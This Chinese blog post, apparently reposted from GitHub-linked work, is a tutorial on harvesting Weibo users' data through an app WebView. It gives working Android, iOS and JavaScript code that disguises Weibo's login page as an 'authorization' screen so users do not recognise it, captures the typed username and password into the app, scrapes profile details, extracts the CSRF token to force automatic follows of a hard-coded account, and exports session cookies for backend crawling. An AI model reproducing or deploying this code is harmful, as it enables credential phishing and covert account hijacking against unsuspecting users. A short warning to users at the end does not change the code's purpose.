微博app端用户信息获取方法探究

时间  2019-12-06
标签 微博 app 用户 信息 获取 方法 探究 繁體版
原文   原文链接

github地址javascript

项目目标

在app(ios和android)端使用webview组件与js进行交互，串改页面，让用户受权登陆后，获取用户关键信息，并完成自动关注一个帐号。html

传统爬虫模式的局限

传统爬虫模式，让用户在客户端在输入帐号密码，而后传送到后端进行登陆，爬取信息，这种方式将要面对各类人机验证措施，加密方法复杂的状况下，还得选择selenium，性能更没法保证。同时，对于我的帐户，安全措施愈来愈严，使用代理ip进行操做，很容易形成异地登陆等问题，代理ip也极可能在全网被重复使用的状况下，被封杀，频繁的代理ip切换也会带来须要二次登陆等问题。 因此这两年年来，发现市面上愈来愈多的提供sdk方式的数据提供商，通过抓包及反编译sdk，发现其大多数使用webview载入第三方页面的方式完成登陆，有的在登陆完成以后，获取cookie传送到后端完成爬取，有的直接在app内完成所需信息的收集。java

登陆

这是微博移动端登陆页 node

weibo原移动端登陆页.png
首先使用JavaScript串改当前页面元素，让用户无法意识到这是微博官方的登陆页。

载入页面

androidandroid

webView.loadUrl(LOGINPAGEURL);
复制代码

iOSios

[self requestUrl:self.loginPageUrl];
//请求url方法
-(void) requestUrl:(NSString*) urlString{
    NSURL* url=[NSURL URLWithString:urlString];
    NSURLRequest* request=[NSURLRequest requestWithURL:url];
    [self.webView loadRequest:request];
}
复制代码

js代码注入

首先咱们注入js代码到app的webview中 androidgit

private void injectScriptFile(String filePath) {
        InputStream input;
        try {
            input = webView.getContext().getAssets().open(filePath);
            byte[] buffer = new byte[input.available()];
            input.read(buffer);
            input.close();
            // String-ify the script byte-array using BASE64 encoding
            String encoded = Base64.encodeToString(buffer, Base64.NO_WRAP);
            String funstr = "javascript:(function() {" +
                    "var parent = document.getElementsByTagName('head').item(0);" +
                    "var script = document.createElement('script');" +
                    "script.type = 'text/javascript';" +
                    "script.innerHTML = decodeURIComponent(escape(window.atob('" + encoded + "')));" +
                    "parent.appendChild(script)" +
                    "})()";
            execJsNoReturn(funstr);
        } catch (IOException e) {
            Log.e(TAG, "injectScriptFile: " + e);
        }
    }
复制代码

iOSgithub

//注入js文件
- (void) injectJsFile:(NSString *)filePath{
    NSString *jsPath = [[NSBundle mainBundle] pathForResource:filePath ofType:@"js" inDirectory:@"assets"];
    NSData *data=[NSData dataWithContentsOfFile:jsPath];
    NSString *responData =  [data base64EncodedStringWithOptions:0];
    NSString *jsStr=[NSString stringWithFormat:@"javascript:(function() {\ var parent = document.getElementsByTagName('head').item(0);\ var script = document.createElement('script');\ script.type = 'text/javascript';\ script.innerHTML = decodeURIComponent(escape(window.atob('%@')));\ parent.appendChild(script)})()",responData];
    [self.webView evaluateJavaScript:jsStr completionHandler:^(id _Nullable htmlStr,NSError * _Nullable error){
        
    }];
}
复制代码

咱们都采用读取js文件，而后base64编码后，使用window.atob把其作为一个脚本注入到当前页面(注意：window.atob处理中文编码后会获得的编码不正确，须要使用ecodeURIComponent escape来进行正确的校订。) 在这里已经使用了app端，调用js的方法来建立元素。web

app端调用js方法

android端：chrome

webView.evaluateJavascript(funcStr, new ValueCallback<String>() {
            @Override
            public void onReceiveValue(String s) {

            }

        });
复制代码

ios端：

[self.webView evaluateJavaScript:funcStr completionHandler:^(id _Nullable htmlStr,NSError * _Nullable error){
        
    }];
复制代码

这两个方法能够获取返回值，正由于如此，可使用js提取页面信息后，返回给webview，而后收集信息完成以后，汇总进行通讯。

js串改页面

//串改页面元素，让用户觉得是受权登陆
function getLogin(){
 var topEle=selectNode('//*[@id="avatarWrapper"]');
 var imgEle=selectNode('//*[@id="avatarWrapper"]/img');
 topEle.remove(imgEle);
 var returnEle=selectNode('//*[@id="loginWrapper"]/a');
 returnEle.className='';
 returnEle.innerText='';
 pEle=selectNode('//*[@id="loginWrapper"]/p');
 pEle.className="";
 pEle.innerHTML="";
 footerEle=selectNode('//*[@id="loginWrapper"]/footer');
 footerEle.innerHTML="";
 var loginNameEle=selectNode('//*[@id="loginName"]');
 loginNameEle.placeholder="请输入用户名";
 var buttonEle=selectNode('//*[@id="loginAction"]');
 buttonEle.innerText="请进行用户受权";
 selectNode('//*[@id="loginWrapper"]/form/section/div[1]/i').className="";
 selectNode('//*[@id="loginWrapper"]/form/section/div[2]/i').className="";
 selectNode('//*[@id="loginAction"]').className="btn";
 selectNode('//a[@id="loginAction"]').addEventListener('click',transPortUnAndPw,false);
 return window.webkit;
}
function transPortUnAndPw(){
 username=selectNode('//*[@id="loginName"]').value;
 pwd=selectNode('//*[@id="loginPassword"]').value;
 window.webkit.messageHandlers.getInfo({body:JSON.stringify({"username":username,"pwd":pwd})});
}
复制代码

使用js修改页面元素，使之看起来不会让人发觉这是weibo官方的页面。 修改后的页面如图：

修改后登陆页面.png

串改登陆点击事件，获取用户名密码

selectNode('//a[@id="loginAction"]').addEventListener('click',transPortUnAndPw,false);
function transPortUnAndPw(){
  username=selectNode('//*[@id="loginName"]').value;
  pwd=selectNode('//*[@id="loginPassword"]').value;
  window.webkit.messageHandlers.getInfo({body:JSON.stringify({"username":username,"pwd":pwd})});
}
复制代码

同时串改登陆点击按钮，经过js调用app webview的方法，把用户名和密码传递给app webview 完成信息收集。

js调用webview的方法

android端：

// js代码
window.weibo.getPwd(JSON.stringify({"username":username,"pwd":pwd}));
//Java代码
webView.addJavascriptInterface(new WeiboJsInterface(), "weibo");
public class WeiboJsInterface {
        @JavascriptInterface
        public void getPwd(String returnValue) {
            try {
                unpwDict = new JSONObject(returnValue);
            } catch (JSONException e) {
                e.printStackTrace();
            }
        }
    }
复制代码

android经过实现一个@JavaScriptInterface接口，把这个方法添加类添加到webview的浏览器内核之上，当调用这个方法时，会触发android端的调用。 ios端：

//js代码
window.webkit.messageHandlers.getInfo({body:JSON.stringify({"username":username,"pwd":pwd})});
//oc代码
WKUserContentController *userContentController = [[WKUserContentController alloc] init];
 [userContentController addScriptMessageHandler:self name:@"getInfo"];

- (void)userContentController:(WKUserContentController *)userContentController didReceiveScriptMessage:(WKScriptMessage *)message
{
    
    self.unpwDict=[self getReturnDict:message.body];
}
复制代码

ios方式，实现方式与此相似，不过因为我对oc以及ios开发不熟悉，代码运行不符合指望,但愿专业的能指正。

我的信息获取

直接提取页面的难点

webview这个组件，不管是在android端 onPageFinished方法仍是ios端的didFinishNavigation方法，都没法正确断定页面是否加载彻底。因此对于不少页面，仍是选择走接口

请求接口

本项目中，获取用户本身的微博，关注，和分析，都是使用接口，拿到预览页，直接解析数，对于关键的参数，须要仔细抓包获取

抓包1.png
仔细分析 “我”这个标签下的请求状况，发现https://m.weibo.cn/home/me?format=cards这个连接包含用户核心数据，经过这个请求，获取核心参数，而后，获取用户的微博 关注 粉丝的预览页面。 而后经过 

JSON.stringify(JSON.parse(document.getElementsByTagName('pre')[0].innerText))
复制代码

获取json字符串，并传到app端进行解析。 解析及屡次请求的逻辑

请求页面

也有页面，如我的资料，页面较简单，可使用js提取

js代码

function getPersonInfo(){
  var name=selectNodeText('//*[@id="J_name"]');
  var sex=selectNodeText('/*[@id="sex"]/option[@selected]');
  var location=selectNodeText('//*[@id="J_location"]');
  var year=selectNodeText('//*[@id="year"]/option[@selected]');
  var month=selectNodeText('//*[@id="month"]/option[@selected]');
  var day=selectNodeText('//*[@id="day"]/option[@selected]');
  var email=selectNodeText('//*[@id="J_email"]');
  var blog=selectNodeText('//*[@id="J_blog"]');
  if(blog=='输入博客地址'){
    blog='未填写';
  }
  var qq=selectNodeText('//*[@id="J_QQ"]');
  if(qq=='QQ账号'){
    qq="未填写";
  }
  birthday=year+'-'+month+'-'+day;
  theDict={'name':name,'sex':sex,'localtion':location,'birthday':birthday,'email':email,'blog':blog,'qq':qq};
  return JSON.stringify({'personInfomation':theDict});
}
复制代码

因为webview不支持 $x 的xpath写法，为了方便，使用原生的XPathEvaluator, 实现了特定的提取。

function selectNodes(sXPath) {
  var evaluator = new XPathEvaluator();
  var result = evaluator.evaluate(sXPath, document, null, XPathResult.ANY_TYPE, null);
  if (result != null) {
    var nodeArray = [];
    var nodes = result.iterateNext();
    while (nodes) {
      nodeArray.push(nodes);
      nodes = result.iterateNext();
    }
    return nodeArray;
  }
  return null;
};
//选取子节点
function selectChildNode(sXPath, element) {
  var evaluator = new XPathEvaluator();
  var newResult = evaluator.evaluate(sXPath, element, null, XPathResult.ANY_TYPE, null);
  if (newResult != null) {
    var newNode = newResult.iterateNext();
    return newNode;
  }
}

function selectChildNodeText(sXPath, element) {
  var evaluator = new XPathEvaluator();
  var newResult = evaluator.evaluate(sXPath, element, null, XPathResult.ANY_TYPE, null);
  if (newResult != null) {
    var newNode = newResult.iterateNext();
    if (newNode != null) {
      return newNode.textContent.replace(/(^\s*)|(\s*$)/g, ""); ;
    } else {
      return "";
    }
  }
}

function selectChildNodes(sXPath, element) {
  var evaluator = new XPathEvaluator();
  var newResult = evaluator.evaluate(sXPath, element, null, XPathResult.ANY_TYPE, null);
  if (newResult != null) {
    var nodeArray = [];
    var newNode = newResult.iterateNext();
    while (newNode) {
      nodeArray.push(newNode);
      newNode = newResult.iterateNext();
    }
    return nodeArray;
  }
}

function selectNodeText(sXPath) {
  var evaluator = new XPathEvaluator();
  var newResult = evaluator.evaluate(sXPath, document, null, XPathResult.ANY_TYPE, null);
  if (newResult != null) {
    var newNode = newResult.iterateNext();
    if (newNode) {
      return newNode.textContent.replace(/(^\s*)|(\s*$)/g, ""); ;
    }
    return "";
  }
}
function selectNode(sXPath) {
  var evaluator = new XPathEvaluator();
  var newResult = evaluator.evaluate(sXPath, document, null, XPathResult.ANY_TYPE, null);
  if (newResult != null) {
    var newNode = newResult.iterateNext();
    if (newNode) {
      return newNode;
    }
    return null;
  }
}
复制代码

自动关注用户

因为我的微博页面 onPageFinished与didFinishNavigation这两个方法没法断定页面是否加载彻底， 为了解决这个问题，在android端，使用拦截url，断定页面加载图片的数量来肯定，是否，加载彻底

//因为页面的正确加载onPageFinieshed和onProgressChanged都不能正确断定，因此选择在加载多张图片后，断定页面加载完成。
            //在这样的状况下，自动点击元素，完成自动关注用户。
            @Override
            public void onLoadResource(WebView view, String url) {
                if (webView.getUrl().contains(AUTOFOCUSURL) && url.contains("jpg")) {
                    newIndex++;
                    if (newIndex == 5) {
                        webView.post(new Runnable() {
                            @Override
                            public void run() {
                                injectJsUseXpath("autoFocus.js");
                                execJsNoReturn("autoFocus();");
                            }
                        });
                    }
                }
                super.onLoadResource(view, url);
            }
复制代码

js 自动点击

function autoFocus(){
  selectNode('//span[@class="m-add-box"]').click();
}
复制代码

在ios端，使用访问接口的方式

抓包2.png
除了目标用户的id外，还有一个st字符串，经过chrome的search，定位，而后经过js提取 

function getSt(){
  return config['st'];
}
复制代码

而后构造post，请求，完成关注

- (void) autoFocus:(NSString*) st{
    //Wkwebview采用js模拟完成表单提交
    NSString *jsStr=[NSString stringWithFormat:@"function post(path, params) {var method = \"post\"; \ var form = document.createElement(\"form\"); \ form.setAttribute(\"method\", method); \ form.setAttribute(\"action\", path); \ for(var key in params) { \ if(params.hasOwnProperty(key)) { \ var hiddenField = document.createElement(\"input\");\ hiddenField.setAttribute(\"type\", \"hidden\");\ hiddenField.setAttribute(\"name\", key);\ hiddenField.setAttribute(\"value\", params[key]);\ form.appendChild(hiddenField);\ }\ }\ document.body.appendChild(form);\ form.submit();\ }\ post('https://m.weibo.cn/api/friendships/create',{'uid':'1195242865','st':'%@'});",st];
    [self execJsNoReturn:jsStr];
}
复制代码

ios WkWebview没有post请求，接口，因此构造一个表单提交，完成post请求。 完成，一个自动关注，固然，构造一个用户id的列表，很简单就能够实现自动关注多个用户。

关于cookie

若是须要爬取的数据量大，能够选择爬取少许关键信息后，把cookie传到后端处理 android 端 cookie处理

CookieSyncManager.createInstance(context);  
CookieManager cookieManager = CookieManager.getInstance(); 
复制代码

经过cookieManage对象能够获取cookie字符串，传送到后端，继续爬取

ios端cookie处理

NSDictionary *cookie = [AppInfo shareAppInfo].userModel.cookies;
复制代码

处理方式与android端相似。

总结

对于数据工程师来讲，webview有点相似于selenium，可是运行在服务端的selenium，有太多的局限性。webview的在客户端运行，就像一个用户就是一台肉机。 以webview为基础，使用app收集信息加以利用，现阶段大多数人都还没意识到，可是，市场上的产品已经愈来愈多，特别是那些对数据有特殊须要的各类金融机构。 对于普通用户来讲，不要轻易在一个app上登陆第三方帐户，信息泄露，财产损失，在按下登陆或者本例中的伪装受权后，都是不可避免的。

相关文章
相关标签/搜索
每日一句
    每一个你不满意的现在，都有一个你没有努力的曾经。
本站公众号
   欢迎关注本站公众号,获取更多信息
联系我们 最近搜索 最新文章 沪ICP备13005482号-10 MyBatis教程 SQL 教程 MySQL教程 Java 教程 Thymeleaf 教程 Hibernate教程 Spring教程 Redis教程